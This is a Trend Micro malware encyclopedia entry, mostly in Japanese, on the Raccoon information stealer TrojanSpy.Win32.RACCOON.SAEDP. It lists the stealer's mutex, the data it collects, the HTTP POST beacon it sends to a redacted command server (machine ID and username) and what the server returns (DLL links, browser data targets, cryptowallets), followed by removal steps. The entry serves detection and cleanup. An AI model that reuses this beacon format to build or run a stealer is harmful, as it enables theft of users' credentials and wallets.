Trend Micro Security

TrojanSpy.Win32.RACCOON.SAEDP

2023年6月16日
 解析者: Ricardo III Valdez   

 プラットフォーム:

Windows

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 情報漏えい:


  • マルウェアタイプ: スパイウェア/情報窃取型
  • 破壊活動の有無: なし
  • 暗号化: はい
  • 感染報告の有無: はい

  概要

感染経路 インターネットからのダウンロード, 他のマルウェアからの作成

スパイウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。


  詳細

ファイルサイズ 1858822144 bytes
タイプ EXE
メモリ常駐 なし
発見日 2023年5月29日
ペイロード URLまたはIPアドレスに接続, 情報収集

侵入方法

スパイウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

スパイウェアは、以下の Mutex を作成し、メモリ上で自身の重複実行を避けます。

  • JWC_JC_VS_WC

情報漏えい

スパイウェアは、以下の情報を収集します。

  • Username
  • Machine ID

その他

スパイウェアは、以下を実行します。

  • It uses the following HTTP POST request header:
    • POST / HTTP/1.1
      Accept: */*
      Content-Type: application/x-www-form-urlencoded; charset=utf-8
      User-Agent: iMightJustPayMySelfForAFeature
      Host: http://{BLOCKED}.{BLOCKED}.{BLOCKED}.201
      Data: machineId={Machine ID}|{User Name}&configId={RC4 key for String Deobfuscation}
  • It retrieves a configuration from the following URL, which will also be used for its stealing routine:
    • http://{BLOCKED}.{BLOCKED}.{BLOCKED}.201
    However as of this writing, the said URL is inaccessible.
  • If a successful connection has been established, the C2 server should reply with the following information:
    • Download links for its DLL components
    • Browser data to search for
    • Cryptowallets of interest


  対応方法

対応検索エンジン: 9.800
初回 VSAPI パターンバージョン 18.498.05
初回 VSAPI パターンリリース日 2023年6月9日
VSAPI OPR パターンバージョン 18.499.00
VSAPI OPR パターンリリース日 2023年6月10日

手順 1

Windows 7、Windows 8、Windows 8.1、および Windows 10 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 2

このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム(OS)の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル/フォルダ/レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。

手順 3

「TrojanSpy.Win32.RACCOON.SAEDP」で検出したファイル名を確認し、そのファイルを終了します。

[ 詳細 ]

  • すべての実行中プロセスが、Windows のタスクマネージャに表示されない場合があります。この場合、"Process Explorer" などのツールを使用しマルウェアのファイルを終了してください。"Process Explorer" については、こちらをご参照下さい。
  • 検出ファイルが、Windows のタスクマネージャまたは "Process Explorer" に表示されるものの、削除できない場合があります。この場合、コンピュータをセーフモードで再起動してください。
    セーフモードについては、こちらをご参照下さい。
  • 検出ファイルがタスクマネージャ上で表示されない場合、次の手順にお進みください。

手順 4

最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「TrojanSpy.Win32.RACCOON.SAEDP」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。


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